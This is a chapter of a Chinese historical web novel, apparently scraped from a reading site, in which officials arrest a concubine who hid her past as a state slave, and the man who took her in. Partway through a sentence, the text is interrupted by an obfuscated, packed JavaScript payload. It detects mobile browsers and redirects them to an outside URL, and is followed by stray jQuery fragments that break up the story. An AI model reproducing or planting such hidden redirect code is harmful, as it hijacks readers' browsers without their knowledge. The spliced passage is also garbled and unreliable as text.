123读书网 > 都市小说 > 与假书生春风一度后 > 19. 官差上门
    水月轩附近聚了不少看热闹的下人,他们不敢明目张胆地围观,就三三两两地躲在树后边、花丛旁,窃窃私语。


    “什么?曹姨娘竟然是逃奴!老天爷呐!”


    “不是说是小户人家的女儿,来京投亲不着,才跟了大.爷的吗?”


    “你听到了吗?那差官老爷说叫什么王月芷?曹姨娘原先姓王?”


    有一个积年的老妈妈脸上露出了恍然的神情:“怪道的,原来是王家人。”


    边上人好奇地问:“钱妈妈,莫非你知道什么内情不成?快说说!”


    那钱婆子得意地轻咳一声,道:“我估摸着是严州王家的人。怪道的,我说看着曹姨娘跟王家太太长得很有几分像……”


    胡氏有个嫡亲的妹妹,嫁到了严州王家,以前两家多有来往。


    八年前,王家在荆州做官,因为贪盗官粮、匿灾不报、激变良民,被治了罪,十六岁以上男丁全部斩首,女眷则籍没为奴。


    当时杨洪德只是一个五品同知,对这样的大案完全插不上手。不过,即便他那时就高居工部侍郎之位,遇到这样的案子,也只会与王家划清界限,绝不会沾边的。


    就这样,十岁的曹姨娘入了乐籍。


    两年前,杨旭尉因事去了锦城县,知县叫来几个官妓陪酒,弹唱取乐,他一眼就看上了花名为清烟的曹姨娘。


    知县十分有眼色,安排清烟晚上去了他屋里。清烟,也就是曹姨娘,此时已经确定了杨旭尉就是她的表兄。


    这些年来,因为杨洪德官位高升,清烟经常听人提起他。她被籍没时已经十岁,记得杨洪德就是她的姨夫,姨夫家里的表哥小时候还跟她一同玩儿过。


    她上了心,一直刻意打听着杨家的消息,今天杨旭尉一来,她就知道自己的机会来了。


    她并没有跟杨旭尉坦白,而是等两人春风一夜后,才哭着叫他表兄,表露了自己的真实身份,哀哀地诉说这些年的遭遇。


    杨旭尉看着哭得梨花带雨的表妹,心中又是怜惜,又是愧疚。


    愧疚自己没能早些找到她,有负姨母嘱托。


    他暗中运作,请知府找其他人顶替了曹姨娘的乐籍,又辗转了几道手,帮她改换身份,带回了京中。


    曹素芝做过几年的官妓,很是有些手段,把杨旭尉哄得神魂颠倒的,甚至想娶她为妻。


    胡氏虽说也怜惜这个外甥女儿,觉得愧对妹妹。——当时王家出事时,妹妹曾写了一封信,辗转到了她手中,托她想法子庇护女儿,她却没能办到。


    不过怜惜归怜惜,她绝不会容忍自己的儿子娶这样的女子为妻。


    于是她做主给儿子娶了楚玉婉。


    楚家门第比杨家略低一些,且家中是继母当家,没人给楚玉婉撑腰。


    这样,曹素芝就不会受主母磋磨,也算是对得起妹妹了。


    ***


    官差冲进来的时候,曹素芝正坐在妆台前,手里拿着两三支簪子,一支赤金嵌珠桃花簪,一支缠枝莲花簪,还有一支羊脂玉镂空兰花簪,挑挑拣拣,不知该戴哪一个好。


    听到官差叫出了她的原名王月芷,简直吓得魂飞魄散,手一抖,簪子掉在了地上,羊脂玉簪碎成了几段。


    她颤抖着站了起来:“不,我不是王月芷,我,我是曹素芝,你们一定是弄错了!”


    “旭郎!旭郎……你快跟他们说清楚!”


    她朝着跑进屋里来的杨旭尉说道。


    她脸色苍白,浑身发颤,精美的衣裙随着身身轻轻抖动,鬓边那朵山茶花摇摇欲坠。


    若是往日,杨旭尉一看她这副楚楚可怜的模样,又该心疼怜惜了。只是如今他自己都是泥菩萨过河——自身难保呢,哪里管得了曹素芝?


    这件案子中,他的罪名可是最大的。


    身为朝廷官员,私纳官奴为妾可是要丢官罢职,还要杖八十,徒一年半的!


    而曹素芝做为被私纳的官奴,只要说一声自己是被迫的,连刑杖都不用受,重入乐籍就行了。


    曹素芝见杨旭尉站着不动,扑上来去拉他的袖子,杨旭尉却一把甩开了她。


    曹素芝以为杨旭尉进屋是来救她的,其实,杨旭尉只是看官差围了院门,无处可去,慌不择路,跑进了屋里而已。


    可是,屋里也没有藏身之地。


    官差中为首之人是刑部的蒋主事,与杨旭尉平日里见面也会打声招呼,此时却满面沉肃,将公文展开,冷声道:“杨大人可看清楚了?随某走一趟吧。”


    说完,他将公文收起,手一挥,左右衙差上前,扭住了杨旭尉的胳膊,将铁链“哗啦”一声,锁在了他脖子里。


    杨旭尉今日穿的是便装,倒是省了剥官袍这一过程。


    杨旭尉拖着铁链,拱手求告:“蒋大人,念在同朝为官的份儿上,可否通融一下,待在下与父亲告个别再走?”


    杨旭尉打的主意是拖延到父亲回来,父亲身为正三品侍郎,总还是有些面子的,只要能宽限个一日半日的,趁着这个工夫,赶紧活动活动,或许能免了他这场牢狱之灾。


    若是抓去了刑部,可就不好办了。


    蒋主事哪里不明白他的心思,但上面交代了这次要速抓速决。


    他勾唇一笑道:“不是本官不肯通融,只是我刚来时看到晋国公陆大人将令尊叫走了,一时半会儿只怕是回不来。”


    蒋主事说完,又道:“来人啊,将王月芷也一同拿下!”


    立时有两名衙差上前,伸手去抓躲到桌子后的曹素芝。他们动作粗蛮,毫不怜香惜玉,扭住她的胳膊便往外拖。


    杨旭尉都被抓了,曹素芝哪敢反抗?她惶恐而绝望地被套上了铁链,满脸珠泪滚滚而落。


    “我不是,我不是王月芷,我姓曹,我姓曹啊!”她喃喃地说着,浑似疯傻了一般。


    楚玉婉站在水月轩门口,看见杨旭尉与曹素芝被官差拖拽着,踉跄着迈过了门槛,脖子上和手腕上套着拇指粗的冰冷的铁链。


    杨旭尉垂着头,似是无脸见人。曹素芝则呜呜咽咽地哭着,其间还夹杂着“我不是王月芷”的无力辩解声。


    那哭诉声凄惨而绝望,混合着锁链的脆响,在楚玉婉耳边回荡。


    她心中痛快,这个曹素芝,欺负了她这么些日子,终于遭报应了!


    可是,看着曹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239390|197225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    素芝被官差拖拽的惨样,楚玉婉又有些害怕起来。


    若是杨家的案子犯了,她是不是也会这样,披头散发地被官差被押走?


    她打了一个冷战,决定赶紧回楚家去跟父亲商量一下对策。


    她正思虑着后事,突然,已经走过去的曹素芝回过头来,怨毒地瞪了她一眼:“楚玉婉,旭郎被抓了,你以为你能落到什么好吗?你等着,你以后只会比我凄惨一万倍!”


    这凄厉而怨毒的话,把楚玉婉吓了一跳。


    衙差不耐烦地推了曹素芝一把:“少废话!还不快走!”


    远处,一群丫鬟婆子簇拥着一个妇人急急地走了过来,边走还边大声喊着:“官差大人,且慢,容我老婆子说两句话。”


    是胡氏来了。


    胡氏刚听说刑部官差上门来抓儿子时,还不相信。她家老爷可是工部侍郎,正三品的大员,怎么可能因为曹姨娘这点儿事儿就喊打喊杀的?


    可是,随着好几拨人前来禀报,她不得不信了,忙带了人,急匆匆往水月轩赶来。


    楚玉婉远远地看到婆母来了,生怕她迁怒自己——以往这都是常有的事儿。


    她急忙装作伤心欲绝的样子,喊了一声:“夫君——”


    又往前追了两步,然后一扶脑袋,“晕”了过去。


    绿绮忙叫夏禾一起将她扶回了棠梨院。


    后来,楚玉婉听人说,婆母果然骂她了,说她不知道体恤丈夫。丈夫被抓了,也不说跟着去打点打点,看看他在牢中缺些什么。


    听说她急昏了过去,这才罢了,只说了句:“没用的东西!”


    因着杨旭尉被抓,整个杨府气氛压抑。


    胡氏连晚饭都吃不下,院中伺候的人都战战兢兢的,生怕被寻了错处,借机出气。


    楚玉婉院里却是安安静静的,她在屋里装病,晚饭也吃得清淡。


    三朵来收碗盘时,从食盒里端出两碗鲜果冰酪,一碗放到了绿绮面前,一碗递给楚玉婉,笑道:“昨晚公子答应奶奶的。”


    绿绮看着那层层碎冰上的紫的、粉的、白玉一般的果子,还有浇在上面的鲜乳薄酪,惊喜地说道:“鲜果冰酪!公子真是贴心,竟然知道奶奶喜欢吃这个,还如此费心地送了来。”


    楚玉婉脸有些红,说道:“吃你的吧!”


    三朵一边收拾碗筷,一边说道:“你们慢慢儿吃,这两个碗我明早再来收。”


    又向着楚玉婉挤了挤眼,说道:“公子答应奶奶的,都已经做到了,奶奶可别忘了今晚……”


    她指了指窗户,提醒楚玉婉不要忘了。


    楚玉婉脸更红了:“知道了。”


    到了夜深人静之时,窗户一响,安昱之果然又来了。


    他熟门熟路地在窗前的小榻上坐下,问楚玉婉:“和离的事儿,你考虑得怎么样了?”


    今晚的月色不如昨晚,朦朦胧胧的,看不清人的脸。


    楚玉婉站得远远的,说道:“我,过两日就回楚家,与父亲商量。”


    陆晏川听了这话,心中一松,还算不傻。


    “过来坐,离我那么远做什么?”他向她招手。